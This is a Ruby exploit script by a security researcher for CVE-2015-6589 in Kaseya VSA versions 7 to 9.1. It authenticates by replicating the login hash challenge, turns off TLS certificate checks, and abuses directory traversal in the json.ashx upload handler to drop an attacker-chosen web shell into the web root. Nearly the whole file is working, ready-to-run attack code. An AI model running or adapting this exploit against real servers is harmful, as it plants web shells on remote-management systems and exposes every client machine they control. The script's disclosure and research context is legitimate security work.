#!/usr/bin/ruby # # kazPwn.rb - Kaseya VSA v7 to v9.1 authenticated arbitrary file upload (CVE-2015-6589 / ZDI-15-450) # =================== # by Pedro Ribeiro / Agile Information Security # Disclosure date: 28/09/2015 # # Usage: ./kazPwn.rb http[s]://[:port] # # execjs and mechanize gems are required to run this exploit # # According to Kaseya's advisory, this exploit should work for the following VSA versions: # VSA Version 7.0.0.0 – 7.0.0.32 # VSA Version 8.0.0.0 – 8.0.0.22 # VSA Version 9.0.0.0 – 9.0.0.18 # VSA Version 9.1.0.0 – 9.1.0.8 # This exploit has been tested with v8 and v9. # # Check out these two companion vulnerabilities, both of which have Metasploit modules: # - Unauthenticated remote code execution (CVE-2015-6922 / ZDI-15-449) # - Unauthenticated remote privilege escalation (CVE-2015-6922 / ZDI-15-448) # # This code is released under the GNU General Public License v3 # http://www.gnu.org/licenses/gpl-3.0.html # require 'execjs' require 'mechanize' require 'open-uri' require 'uri' require 'openssl' # avoid certificate errors OpenSSL::SSL::VERIFY_PEER = OpenSSL::SSL::VERIFY_NONE I_KNOW_THAT_OPENSSL_VERIFY_PEER_EQUALS_VERIFY_NONE_IS_WRONG = nil # Fixes a Mechanize bug, see # http://scottwb.com/blog/2013/11/09/defeating-the-infamous-mechanize-too-many-connection-resets-bug/ class Mechanize::HTTP::Agent MAX_RESET_RETRIES = 10 # We need to replace the core Mechanize HTTP method: # # Mechanize::HTTP::Agent#fetch # # with a wrapper that handles the infamous "too many connection resets" # Mechanize bug that is described here: # # https://github.com/sparklemotion/mechanize/issues/123 # # The wrapper shuts down the persistent HTTP connection when it fails with # this error, and simply tries again. In practice, this only ever needs to # be retried once, but I am going to let it retry a few times # (MAX_RESET_RETRIES), just in case. # def fetch_with_retry( uri, method = :get, headers = {}, params = [], referer = current_page, redirects = 0 ) action = "#{method.to_s.upcase} #{uri.to_s}" retry_count = 0 begin fetch_without_retry(uri, method, headers, params, referer, redirects) rescue Net::HTTP::Persistent::Error => e # Pass on any other type of error. raise unless e.message =~ /too many connection resets/ # Pass on the error if we've tried too many times. if retry_count >= MAX_RESET_RETRIES puts "**** WARN: Mechanize retried connection reset #{MAX_RESET_RETRIES} times and never succeeded: #{action}" raise end # Otherwise, shutdown the persistent HTTP connection and try again. # puts "**** WARN: Mechanize retrying connection reset error: #{action}" retry_count += 1 self.http.shutdown retry end end # Alias so #fetch actually uses our new #fetch_with_retry to wrap the # old one aliased as #fetch_without_retry. alias_method :fetch_without_retry, :fetch alias_method :fetch, :fetch_with_retry end if ARGV.length < 4 puts 'Usage: ./kazPwn.rb http[s]://[:port] ' exit -1 end host = ARGV[0] username = ARGV[1] password = ARGV[2] shell_file = ARGV[3] login_url = host + '/vsapres/web20/core/login.aspx' agent = Mechanize.new # 1- go to the login URL, get a session cookie and the challenge. page = agent.get(login_url) login_form = page.forms.first challenge = login_form['loginFormControl$ChallengeValueField'] # 2- calculate the password hashes with the challenge source = open(host + "/inc/sha256.js").read source += open(host + "/inc/coverPass.js").read source += open(host + "/inc/coverPass256.js").read source += open(host + "/inc/coverData.js").read source += open(host + "/inc/passwordHashes.js").read source.gsub!(/\<\!--(\s)*\#include.*--\>/, "") # remove any includes, this causes execjs to fail context = ExecJS.compile(source) hashes = context.call("getHashes",username,password,challenge) # 3- submit the login form, authenticate our cookie and get the ReferringWebWindowId needed to upload the file # We need the following input values to login: # - __EVENTTARGET (empty) # - __EVENTARGUMENT (empty) # - __VIEWSTATE (copied from the original GET request) # - __VIEWSTATEENCRYPTED (copied from the original GET request; typically empty) # - __EVENTVALIDATION (copied from the original GET request) # - loginFormControl$UsernameTextbox (username) # - loginFormControl$PasswordTextbox (empty) # - loginFormControl$SubmitButton (copied from the original GET request; typically "Logon") # - loginFormControl$SHA1Field (output from getHashes) # - loginFormControl$RawSHA1Field (output from getHashes) # - loginFormControl$SHA256Field (output from getHashes) # - loginFormControl$RawSHA256Field (output from getHashes) # - loginFormControl$ChallengeValueField (copied from the original GET request) # - loginFormControl$TimezoneOffset ("0") # - loginFormControl$ScreenHeight (any value between 800 - 2048) # - loginFormControl$ScreenWidth (any value between 800 - 2048) login_form['__EVENTTARGET'] = '' login_form['__EVENTARGUMENT'] = '' login_form['loginFormControl$UsernameTextbox'] = username login_form['loginFormControl$SHA1Field'] = hashes['SHA1Hash'] login_form['loginFormControl$RawSHA1Field'] = hashes['RawSHA1Hash'] login_form['loginFormControl$SHA256Field'] = hashes['SHA256Hash'] login_form['loginFormControl$RawSHA256Field'] = hashes['RawSHA256Hash'] login_form['loginFormControl$TimezoneOffset'] = 0 login_form['loginFormControl$SubmitButton'] = 'Logon' login_form['loginFormControl$screenHeight'] = rand(800..2048) login_form['loginFormControl$screenWidth'] = rand(800..2048) page = agent.submit(login_form) web_windowId = Hash[URI::decode_www_form(page.uri.query)]['ReferringWebWindowId'] # 4- upload the file using the ReferringWebWindowId page = agent.post('/vsapres/web20/json.ashx', 'directory' => "../WebPages", 'ReferringWebWindowId' => web_windowId, 'request' => 'uploadFile', 'impinf__uploadfilelocation' => File.open(shell_file) ) if page.code == "200" puts "Shell uploaded, check " + host + "/" + File.basename(shell_file) else puts "Error occurred, shell was not uploaded correctly..." end